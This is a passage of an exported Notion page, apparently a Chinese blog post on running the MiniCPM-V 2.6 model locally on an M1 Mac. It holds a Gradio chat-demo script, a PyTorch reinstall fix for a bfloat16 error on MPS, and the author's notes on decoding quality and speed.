\"text\", \"pairs\": text} # # For remote call\n return text\n\ndef encode_message(_question):\n files = _question.files\n question = _question.text\n pattern = r\"\\[mm_media\\]\\d+\\[/mm_media\\]\"\n matches = re.split(pattern, question)\n message = []\n if len(matches) != len(files) + 1:\n gr.Warning(\"Number of Images not match the placeholder in text, please refresh the page to restart!\")\n assert len(matches) == len(files) + 1\n\n text = matches[0].strip()\n if text:\n message.append(make_text(text))\n for i in range(len(files)):\n message += encode_mm_file(files[i])\n text = matches[i + 1].strip()\n if text:\n message.append(make_text(text))\n return message\n\n\ndef check_has_videos(_question):\n images_cnt = 0\n videos_cnt = 0\n for file in _question.files:\n if check_mm_type(file) == \"image\":\n images_cnt += 1\n else:\n videos_cnt += 1\n return images_cnt, videos_cnt\n\n\ndef count_video_frames(_context):\n num_frames = 0\n for message in _context:\n for item in message[\"content\"]:\n #if item[\"type\"] == \"image\": # For remote call\n if isinstance(item, Image.Image):\n num_frames += 1\n return num_frames\n\n\ndef respond(_question, _chat_bot, _app_cfg, params_form):\n _context = _app_cfg['ctx'].copy()\n _context.append({'role': 'user', 'content': encode_message(_question)})\n\n images_cnt = _app_cfg['images_cnt']\n videos_cnt = _app_cfg['videos_cnt']\n files_cnts = check_has_videos(_question)\n if files_cnts[1] + videos_cnt > 1 or (files_cnts[1] + videos_cnt == 1 and files_cnts[0] + images_cnt > 0):\n gr.Warning(\"Only supports single video file input right now!\")\n return _question, _chat_bot, _app_cfg\n\n if params_form == 'Beam Search':\n params = {\n 'sampling': False,\n 'num_beams': 3,\n 'repetition_penalty': 1.2,\n \"max_new_tokens\": 2048\n }\n else:\n params = {\n 'sampling': True,\n 'top_p': 0.8,\n 'top_k': 100,\n 'temperature': 0.7,\n 'repetition_penalty': 1.05,\n \"max_new_tokens\": 2048\n }\n\n if files_cnts[1] + videos_cnt > 0:\n params[\"max_inp_length\"] = 4352 # 4096+256\n params[\"use_image_id\"] = False\n params[\"max_slice_nums\"] = 1 if count_video_frames(_context) > 16 else 2\n\n code, _answer, _, sts = chat(\"\", _context, None, params)\n\n images_cnt += files_cnts[0]\n videos_cnt += files_cnts[1]\n _context.append({\"role\": \"assistant\", \"content\": [make_text(_answer)]})\n _chat_bot.append((_question, _answer))\n if code == 0:\n _app_cfg['ctx']=_context\n _app_cfg['sts']=sts\n _app_cfg['images_cnt'] = images_cnt\n _app_cfg['videos_cnt'] = videos_cnt\n\n upload_image_disabled = videos_cnt > 0\n upload_video_disabled = videos_cnt > 0 or images_cnt > 0\n return create_multimodal_input(upload_image_disabled, upload_video_disabled), _chat_bot, _app_cfg\n\n\ndef fewshot_add_demonstration(_image, _user_message, _assistant_message, _chat_bot, _app_cfg):\n ctx = _app_cfg[\"ctx\"]\n message_item = []\n if _image is not None:\n image = Image.open(_image).convert(\"RGB\")\n ctx.append({\"role\": \"user\", \"content\": [encode_image(image), make_text(_user_message)]})\n message_item.append({\"text\": \"[mm_media]1[/mm_media]\" + _user_message, \"files\": [_image]})\n else:\n if _user_message:\n ctx.append({\"role\": \"user\", \"content\": [make_text(_user_message)]})\n message_item.append({\"text\": _user_message, \"files\": []})\n else:\n message_item.append(None)\n if _assistant_message:\n ctx.append({\"role\": \"assistant\", \"content\": [make_text(_assistant_message)]})\n message_item.append({\"text\": _assistant_message, \"files\": []})\n else:\n message_item.append(None)\n\n _chat_bot.append(message_item)\n return None, \"\", \"\", _chat_bot, _app_cfg\n\n\ndef fewshot_respond(_image, _user_message, _chat_bot, _app_cfg, params_form):\n user_message_contents = []\n _context = _app_cfg[\"ctx\"].copy()\n if _image:\n image = Image.open(_image).convert(\"RGB\")\n user_message_contents += [encode_image(image)]\n if _user_message:\n user_message_contents += [make_text(_user_message)]\n if user_message_contents:\n _context.append({\"role\": \"user\", \"content\": user_message_contents})\n\n if params_form == 'Beam Search':\n params = {\n 'sampling': False,\n 'num_beams': 3,\n 'repetition_penalty': 1.2,\n \"max_new_tokens\": 2048\n }\n else:\n params = {\n 'sampling': True,\n 'top_p': 0.8,\n 'top_k': 100,\n 'temperature': 0.7,\n 'repetition_penalty': 1.05,\n \"max_new_tokens\": 2048\n }\n\n code, _answer, _, sts = chat(\"\", _context, None, params)\n\n _context.append({\"role\": \"assistant\", \"content\": [make_text(_answer)]})\n\n if _image:\n _chat_bot.append([\n {\"text\": \"[mm_media]1[/mm_media]\" + _user_message, \"files\": [_image]},\n {\"text\": _answer, \"files\": []}\n ])\n else:\n _chat_bot.append([\n {\"text\": _user_message, \"files\": [_image]},\n {\"text\": _answer, \"files\": []}\n ])\n if code == 0:\n _app_cfg['ctx']=_context\n _app_cfg['sts']=sts\n return None, '', '', _chat_bot, _app_cfg\n\n\ndef regenerate_button_clicked(_question, _image, _user_message, _assistant_message, _chat_bot, _app_cfg, params_form):\n if len(_chat_bot) <= 1 or not _chat_bot[-1][1]:\n gr.Warning('No question for regeneration.')\n return '', _image, _user_message, _assistant_message, _chat_bot, _app_cfg\n if _app_cfg[\"chat_type\"] == \"Chat\":\n images_cnt = _app_cfg['images_cnt']\n videos_cnt = _app_cfg['videos_cnt']\n _question = _chat_bot[-1][0]\n _chat_bot = _chat_bot[:-1]\n _app_cfg['ctx'] = _app_cfg['ctx'][:-2]\n files_cnts = check_has_videos(_question)\n images_cnt -= files_cnts[0]\n videos_cnt -= files_cnts[1]\n _app_cfg['images_cnt'] = images_cnt\n _app_cfg['videos_cnt'] = videos_cnt\n upload_image_disabled = videos_cnt > 0\n upload_video_disabled = videos_cnt > 0 or images_cnt > 0\n _question, _chat_bot, _app_cfg = respond(_question, _chat_bot, _app_cfg, params_form)\n return _question, _image, _user_message, _assistant_message, _chat_bot, _app_cfg\n else:\n last_message = _chat_bot[-1][0]\n last_image = None\n last_user_message = ''\n if last_message.text:\n last_user_message = last_message.text\n if last_message.files:\n last_image = last_message.files[0].file.path\n _chat_bot = _chat_bot[:-1]\n _app_cfg['ctx'] = _app_cfg['ctx'][:-2]\n _image, _user_message, _assistant_message, _chat_bot, _app_cfg = fewshot_respond(last_image, last_user_message, _chat_bot, _app_cfg, params_form)\n return _question, _image, _user_message, _assistant_message, _chat_bot, _app_cfg\n\n\ndef flushed():\n return gr.update(interactive=True)\n\n\ndef clear(txt_message, chat_bot, app_session):\n txt_message.files.clear()\n txt_message.text = ''\n chat_bot = copy.deepcopy(init_conversation)\n app_session['sts'] = None\n app_session['ctx'] = []\n app_session['images_cnt'] = 0\n app_session['videos_cnt'] = 0\n return create_multimodal_input(), chat_bot, app_session, None, '', ''\n\n\ndef select_chat_type(_tab, _app_cfg):\n _app_cfg[\"chat_type\"] = _tab\n return _app_cfg\n\n\ninit_conversation = [\n [\n None,\n {\n # The first message of bot closes the typewriter.\n \"text\": \"You can talk to me now\",\n \"flushing\": False\n }\n ],\n]\n\n\ncss = \"\"\"\nvideo { height: auto !important; }\n.example label { font-size: 16px;}\n\"\"\"\n\nintroduction = \"\"\"\n\n## Features:\n1. Chat with single image\n2. Chat with multiple images\n3. Chat with video\n4. In-context few-shot learning\n\nClick `How to use` tab to see examples.\n\"\"\"\n\n\nwith gr.Blocks(css=css) as demo:\n with gr.Tab(model_name):\n with gr.Row():\n with gr.Column(scale=1, min_width=300):\n gr.Markdown(value=introduction)\n params_form = create_component(form_radio, comp='Radio')\n regenerate = create_component({'value': 'Regenerate'}, comp='Button')\n clear_button = create_component({'value': 'Clear History'}, comp='Button')\n\n with gr.Column(scale=3, min_width=500):\n app_session = gr.State({'sts':None,'ctx':[], 'images_cnt': 0, 'videos_cnt': 0, 'chat_type': 'Chat'})\n chat_bot = mgr.Chatbot(label=f\"Chat with {model_name}\", value=copy.deepcopy(init_conversation), height=600, flushing=False, bubble_full_width=False)\n\n with gr.Tab(\"Chat\") as chat_tab:\n txt_message = create_multimodal_input()\n chat_tab_label = gr.Textbox(value=\"Chat\", interactive=False, visible=False)\n\n txt_message.submit(\n respond,\n [txt_message, chat_bot, app_session, params_form],\n [txt_message, chat_bot, app_session]\n )\n\n with gr.Tab(\"Few Shot\") as fewshot_tab:\n fewshot_tab_label = gr.Textbox(value=\"Few Shot\", interactive=False, visible=False)\n with gr.Row():\n with gr.Column(scale=1):\n image_input = gr.Image(type=\"filepath\", sources=[\"upload\"])\n with gr.Column(scale=3):\n user_message = gr.Textbox(label=\"User\")\n assistant_message = gr.Textbox(label=\"Assistant\")\n with gr.Row():\n add_demonstration_button = gr.Button(\"Add Example\")\n generate_button = gr.Button(value=\"Generate\", variant=\"primary\")\n add_demonstration_button.click(\n fewshot_add_demonstration,\n [image_input, user_message, assistant_message, chat_bot, app_session],\n [image_input, user_message, assistant_message, chat_bot, app_session]\n )\n generate_button.click(\n fewshot_respond,\n [image_input, user_message, chat_bot, app_session, params_form],\n [image_input, user_message, assistant_message, chat_bot, app_session]\n )\n\n chat_tab.select(\n select_chat_type,\n [chat_tab_label, app_session],\n [app_session]\n )\n chat_tab.select( # do clear\n clear,\n [txt_message, chat_bot, app_session],\n [txt_message, chat_bot, app_session, image_input, user_message, assistant_message]\n )\n fewshot_tab.select(\n select_chat_type,\n [fewshot_tab_label, app_session],\n [app_session]\n )\n fewshot_tab.select( # do clear\n clear,\n [txt_message, chat_bot, app_session],\n [txt_message, chat_bot, app_session, image_input, user_message, assistant_message]\n )\n chat_bot.flushed(\n flushed,\n outputs=[txt_message]\n )\n regenerate.click(\n regenerate_button_clicked,\n [txt_message, image_input, user_message, assistant_message, chat_bot, app_session, params_form],\n [txt_message, image_input, user_message, assistant_message, chat_bot, app_session]\n )\n clear_button.click(\n clear,\n [txt_message, chat_bot, app_session],\n [txt_message, chat_bot, app_session, image_input, user_message, assistant_message]\n )\n\n with gr.Tab(\"How to use\"):\n with gr.Column():\n with gr.Row():\n image_example = gr.Image(value=\"http://thunlp.oss-cn-qingdao.aliyuncs.com/multi_modal/never_delete/m_bear2.gif\", label='1. Chat with single or multiple images', interactive=False, width=400, elem_classes=\"example\")\n example2 = gr.Image(value=\"http://thunlp.oss-cn-qingdao.aliyuncs.com/multi_modal/never_delete/video2.gif\", label='2. Chat with video', interactive=False, width=400, elem_classes=\"example\")\n example3 = gr.Image(value=\"http://thunlp.oss-cn-qingdao.aliyuncs.com/multi_modal/never_delete/fshot.gif\", label='3. Few shot', interactive=False, width=400, elem_classes=\"example\")\n\n\n# launch\ndemo.launch(share=False, debug=True, show_api=False, server_port=8885, server_name=\"0.0.0.0\")\n\n"]],"language":[["Python"]]},"created_time":1723226867342,"last_edited_time":1723226880108,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"249a6c9f-6078-4790-9481-4a8936b4aaef":{"value":{"id":"249a6c9f-6078-4790-9481-4a8936b4aaef","type":"text","created_time":1723226858759,"last_edited_time":1723226858760,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"181ac9d3-1ee2-4fef-9a7f-ee52d6ede102":{"value":{"id":"181ac9d3-1ee2-4fef-9a7f-ee52d6ede102","type":"code","properties":{"title":[["#第一次运行web_demo_2.6.py报错如下\nFile \"/Usxxxxxxxckages/torch/nn/modules/module.py\", line 1158, in convert\nreturn t.to(device, dtype if t.is_floating_point() or t.is_complex() else None, non_blocking)\nTypeError: BFloat16 is not supported on MPS\n\n#重装依赖\npip3 install --pre torch torchvision torchaudio --index-url https://download.pytorch.org/whl/nightly/cpu\n\n#再次运行就没问题了\n#这里下载模型20g可能会等一段时间,最后借助魔法下载,看这网速在疯狂跑就没问题\n#成功运行输出如下\nLoading checkpoint shards: 100%|██████████| 4/4 [00:21<00:00, 5.33s/it]\nSpecial tokens have been added in the vocabulary, make sure the associated word embeddings are fine-tuned or trained.\nRunning on local URL: http://0.0.0.0:8885\n\nTo create a public link, set `share=True` in `launch()`.\nIMPORTANT: You are using gradio version 4.22.0, however version 4.29.0 is available, please upgrade.\n--------"]],"language":[["Bash"]]},"created_time":1723226756800,"last_edited_time":1723227840705,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"0d831cbc-d9af-470b-a411-ebcca1ca7d8f":{"value":{"id":"0d831cbc-d9af-470b-a411-ebcca1ca7d8f","type":"header","properties":{"title":[["效果展示"]]},"created_time":1723226928453,"last_edited_time":1723226935639,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"ad8919a2-ea5b-49b0-ba25-9cc660e3f84d":{"value":{"id":"ad8919a2-ea5b-49b0-ba25-9cc660e3f84d","type":"sub_header","properties":{"title":[["图片理解"]]},"created_time":1723227834398,"last_edited_time":1723229076332,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"65a0ac34-61d8-46b8-9955-bec143fe9f2f":{"value":{"id":"65a0ac34-61d8-46b8-9955-bec143fe9f2f","type":"text","properties":{"title":[["Sampling解码",[["b"]]]]},"created_time":1723228385770,"last_edited_time":1723228385880,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"c37abb66-d61e-46f9-b5ce-ae513a8ca313":{"value":{"id":"c37abb66-d61e-46f9-b5ce-ae513a8ca313","type":"image","properties":{"size":[["348.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6d5c217a-9a64-4bb6-abc3-276f4fcc9147/Untitled.png"]]},"format":{"block_width":2736,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/6d5c217a-9a64-4bb6-abc3-276f4fcc9147/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.533625730994152,"block_preserve_scale":true},"created_time":1723227902998,"last_edited_time":1723227906960,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"file_ids":["6d5c217a-9a64-4bb6-abc3-276f4fcc9147"]}},"f24f87ce-b2a9-4511-88d7-a7ccac0d50f0":{"value":{"id":"f24f87ce-b2a9-4511-88d7-a7ccac0d50f0","type":"text","created_time":1723228378120,"last_edited_time":1723228378122,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"9e745960-d706-4037-b923-5fc019e55bd0":{"value":{"id":"9e745960-d706-4037-b923-5fc019e55bd0","type":"text","properties":{"title":[["Beam Search解码",[["b"]]]]},"created_time":1723228376746,"last_edited_time":1723228378369,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"cc59ffa3-cf59-440a-b7d6-e7c922926f9c":{"value":{"id":"cc59ffa3-cf59-440a-b7d6-e7c922926f9c","type":"image","properties":{"size":[["426.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ba8e5b54-ed5c-4585-a76b-74634b03ea3a/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/ba8e5b54-ed5c-4585-a76b-74634b03ea3a/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5184365781710915,"block_preserve_scale":true},"created_time":1723227847794,"last_edited_time":1723227860867,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"file_ids":["ba8e5b54-ed5c-4585-a76b-74634b03ea3a"]}},"e66d6581-d12e-4e6e-9d3a-a90dff76c17e":{"value":{"id":"e66d6581-d12e-4e6e-9d3a-a90dff76c17e","type":"text","created_time":1723228375224,"last_edited_time":1723228375226,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"638b36be-4dd7-4e4b-9b2b-9df3b7511ccf":{"value":{"id":"638b36be-4dd7-4e4b-9b2b-9df3b7511ccf","type":"sub_header","properties":{"title":[["视频理解"]]},"created_time":1723226936139,"last_edited_time":1723229079960,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"6983fd37-6adf-49d5-8445-7f4fdc6f2567":{"value":{"id":"6983fd37-6adf-49d5-8445-7f4fdc6f2567","type":"text","properties":{"title":[["Sampling解码",[["b"]]]]},"created_time":1723228338813,"last_edited_time":1723228396541,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"843b764b-b770-42fe-bbd2-569cd362f626":{"value":{"id":"843b764b-b770-42fe-bbd2-569cd362f626","type":"image","properties":{"size":[["667.6KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/509facee-40c3-4e9a-9f39-156a50f93449/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/509facee-40c3-4e9a-9f39-156a50f93449/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.5348837209302325,"block_preserve_scale":true},"created_time":1723228079729,"last_edited_time":1723228084701,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"file_ids":["509facee-40c3-4e9a-9f39-156a50f93449"]}},"1e7f3f97-0719-415b-841f-2108e985bb42":{"value":{"id":"1e7f3f97-0719-415b-841f-2108e985bb42","type":"text","properties":{"title":[["Beam Search解码",[["b"]]]]},"created_time":1723226928578,"last_edited_time":1723228392383,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"aae2d5a0-071e-4b5d-ae29-340d8cf3d9f6":{"value":{"id":"aae2d5a0-071e-4b5d-ae29-340d8cf3d9f6","type":"image","properties":{"size":[["728.1KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3dd98266-9a13-454f-ba57-9499f9c01066/Untitled.png"]]},"format":{"block_width":2644,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3dd98266-9a13-454f-ba57-9499f9c01066/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.48940998487140697,"block_preserve_scale":true},"created_time":1723228335010,"last_edited_time":1723228341661,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"file_ids":["3dd98266-9a13-454f-ba57-9499f9c01066"]}},"4f9b8cdc-894b-4fb4-8f2b-62914f8a2ed6":{"value":{"id":"4f9b8cdc-894b-4fb4-8f2b-62914f8a2ed6","type":"header","properties":{"title":[["系统占用"]]},"created_time":1723228248313,"last_edited_time":1723228450231,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"60554234-affb-4b85-9ae7-edbd16fe481a":{"value":{"id":"60554234-affb-4b85-9ae7-edbd16fe481a","type":"image","properties":{"size":[["37.9KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5cbfad6e-d668-483b-bef3-000459c03aae/Untitled.png"]]},"format":{"block_width":632.96875,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/5cbfad6e-d668-483b-bef3-000459c03aae/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.19093851132686085,"block_preserve_scale":true},"created_time":1723228248765,"last_edited_time":1733364431171,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"file_ids":["5cbfad6e-d668-483b-bef3-000459c03aae"]}},"cb00684e-eea6-49f0-8d5b-420d7adfc9c4":{"value":{"id":"cb00684e-eea6-49f0-8d5b-420d7adfc9c4","type":"header","properties":{"title":[["总结"]]},"created_time":1723226094786,"last_edited_time":1723228441806,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"75330c0c-61a4-40b6-913b-8153b1602600":{"value":{"id":"75330c0c-61a4-40b6-913b-8153b1602600","type":"bulleted_list","properties":{"title":[["解决flash_attn强制依赖问题"]]},"format":{"copied_from_pointer":{"id":"329c1926-8152-47e6-ab18-8817f4ee4d09","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723228620568,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"329c1926-8152-47e6-ab18-8817f4ee4d09"}},"912ea1fc-408f-4d0c-a268-3809bef620d2":{"value":{"id":"912ea1fc-408f-4d0c-a268-3809bef620d2","type":"bulleted_list","properties":{"title":[["解决bfloat16在mps无法使用问题"]]},"created_time":1723228475372,"last_edited_time":1723228504311,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"c5713ee5-cf25-4c40-8dc9-916bacf6b979":{"value":{"id":"c5713ee5-cf25-4c40-8dc9-916bacf6b979","type":"bulleted_list","properties":{"title":[["看系统占用是没走mps,添加的环境变量也可以看出"]]},"created_time":1723228504475,"last_edited_time":1723228533320,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"45f924a5-d0b5-4dbc-a33d-89bbccbf07a2":{"value":{"id":"45f924a5-d0b5-4dbc-a33d-89bbccbf07a2","type":"bulleted_list","properties":{"title":[["Sampling瞎回答,Beam Search回答很惊喜"]]},"created_time":1723228535172,"last_edited_time":1723228584318,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"383f96c3-c07b-4a65-9b1d-37dc141ed53d":{"value":{"id":"383f96c3-c07b-4a65-9b1d-37dc141ed53d","type":"bulleted_list","properties":{"title":[["Beam Search处理视频4秒,在m1pro下,当前代码中需要230s左右"]]},"created_time":1723228584510,"last_edited_time":1723228612436,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"1f96f3d3-a4af-4472-804e-b262f9931543":{"value":{"id":"1f96f3d3-a4af-4472-804e-b262f9931543","type":"bulleted_list","properties":{"title":[["ollama部署还在研究中…"]]},"created_time":1723228653791,"last_edited_time":1723228687904,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true}},"4d8a642c-19cc-459d-b2d3-cf032e9de29d":{"value":{"id":"4d8a642c-19cc-459d-b2d3-cf032e9de29d","type":"header","properties":{"title":[["写到最后"]]},"format":{"copied_from_pointer":{"id":"5cde9219-8710-4037-9848-8a1f37dc9ff6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"5cde9219-8710-4037-9848-8a1f37dc9ff6"}},"1969bb19-5b8c-4ea7-8f4b-d7e7058d552b":{"value":{"id":"1969bb19-5b8c-4ea7-8f4b-d7e7058d552b","type":"column_list","content":["00dd203f-d698-49f1-a264-a98fd91ee33f","663dd858-718c-4e0b-93b3-d6ff381f7391","c627e8a5-548a-4cfe-91ca-777942a40b2f"],"format":{"copied_from_pointer":{"id":"60dbcaaf-f103-4bb0-9be1-817671709d79","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"60dbcaaf-f103-4bb0-9be1-817671709d79"}},"b2819630-b50b-4c3e-bc93-c429638a9375":{"value":{"id":"b2819630-b50b-4c3e-bc93-c429638a9375","type":"text","format":{"copied_from_pointer":{"id":"d23c967c-579a-4a00-81be-5b5255a47a8a","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"a741252c-e46b-4342-998c-58ebc362fc0d","parent_table":"block","alive":true,"copied_from":"d23c967c-579a-4a00-81be-5b5255a47a8a"}},"00dd203f-d698-49f1-a264-a98fd91ee33f":{"value":{"id":"00dd203f-d698-49f1-a264-a98fd91ee33f","type":"column","content":["f401f084-c0b9-4973-a8ab-78a78d2ae419"],"format":{"column_ratio":0.25,"copied_from_pointer":{"id":"235500f7-fd62-4fe9-b6d2-b67bac3f464d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"1969bb19-5b8c-4ea7-8f4b-d7e7058d552b","parent_table":"block","alive":true,"copied_from":"235500f7-fd62-4fe9-b6d2-b67bac3f464d"}},"663dd858-718c-4e0b-93b3-d6ff381f7391":{"value":{"id":"663dd858-718c-4e0b-93b3-d6ff381f7391","type":"column","content":["20ed1c34-d3c1-4807-a7c5-2a14d307c690","b3f6c0a9-cb81-4aaa-9a1c-ee4dea607ebb"],"format":{"column_ratio":0.34601449275362306,"copied_from_pointer":{"id":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"1969bb19-5b8c-4ea7-8f4b-d7e7058d552b","parent_table":"block","alive":true,"copied_from":"0439e06e-c3f8-4170-ba05-29b7ff61d8a0"}},"c627e8a5-548a-4cfe-91ca-777942a40b2f":{"value":{"id":"c627e8a5-548a-4cfe-91ca-777942a40b2f","type":"column","content":["bf87d52a-a901-41bc-99f4-ec9c67dc647e"],"format":{"column_ratio":0.4039855072463767,"copied_from_pointer":{"id":"2db937b6-5aae-440c-a285-8be50e3b5e55","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"1969bb19-5b8c-4ea7-8f4b-d7e7058d552b","parent_table":"block","alive":true,"copied_from":"2db937b6-5aae-440c-a285-8be50e3b5e55"}},"f401f084-c0b9-4973-a8ab-78a78d2ae419":{"value":{"id":"f401f084-c0b9-4973-a8ab-78a78d2ae419","type":"image","properties":{"size":[["980.0KB"]],"title":[["favicon.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png"]]},"format":{"block_width":144,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7/favicon.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":1,"copied_from_pointer":{"id":"97938c4a-3571-4bef-b055-178812ea72c6","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1723225275310,"last_edited_time":1723225275310,"parent_id":"00dd203f-d698-49f1-a264-a98fd91ee33f","parent_table":"block","alive":true,"copied_from":"97938c4a-3571-4bef-b055-178812ea72c6","file_ids":["e74a26b9-10d9-49f3-9ea7-bcb2a1438bd7"]}},"20ed1c34-d3c1-4807-a7c5-2a14d307c690":{"value":{"id":"20ed1c34-d3c1-4807-a7c5-2a14d307c690","type":"text","properties":{"title":[["\n",[["i"]]],[" 是在往前走就好",[["b"],["i"]]],["\n ",[["i"]]],["bothsavage.github.io",[["a","https://bothsavage.github.io/archive"],["i"]]],["\n",[["i"]]]]},"format":{"copied_from_pointer":{"id":"01338c9e-9395-42fa-858b-73431aab37fa","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275309,"last_edited_time":1723225275309,"parent_id":"663dd858-718c-4e0b-93b3-d6ff381f7391","parent_table":"block","alive":true,"copied_from":"01338c9e-9395-42fa-858b-73431aab37fa"}},"b3f6c0a9-cb81-4aaa-9a1c-ee4dea607ebb":{"value":{"id":"b3f6c0a9-cb81-4aaa-9a1c-ee4dea607ebb","type":"text","format":{"copied_from_pointer":{"id":"5e9529ea-6019-4fc2-84b6-796d696ac4fd","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1723225275310,"last_edited_time":1723225275310,"parent_id":"663dd858-718c-4e0b-93b3-d6ff381f7391","parent_table":"block","alive":true,"copied_from":"5e9529ea-6019-4fc2-84b6-796d696ac4fd"}},"bf87d52a-a901-41bc-99f4-ec9c67dc647e":{"value":{"id":"bf87d52a-a901-41bc-99f4-ec9c67dc647e","type":"image","properties":{"size":[["85.8KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png"]]},"format":{"block_width":288,"block_height":315,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3436ffe0-3684-445a-824f-2fd9fa5ad2a6/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.525,"copied_from_pointer":{"id":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"block_preserve_scale":true},"created_time":1723225275310,"last_edited_time":1723225275310,"parent_id":"c627e8a5-548a-4cfe-91ca-777942a40b2f","parent_table":"block","alive":true,"copied_from":"4ac99a1d-7b5a-4420-a756-a9131f055bd0","file_ids":["3436ffe0-3684-445a-824f-2fd9fa5ad2a6"]}}},"collection":{"3c6ddc29-47df-43f6-a375-de1c3a9cf466":{"value":{"id":"3c6ddc2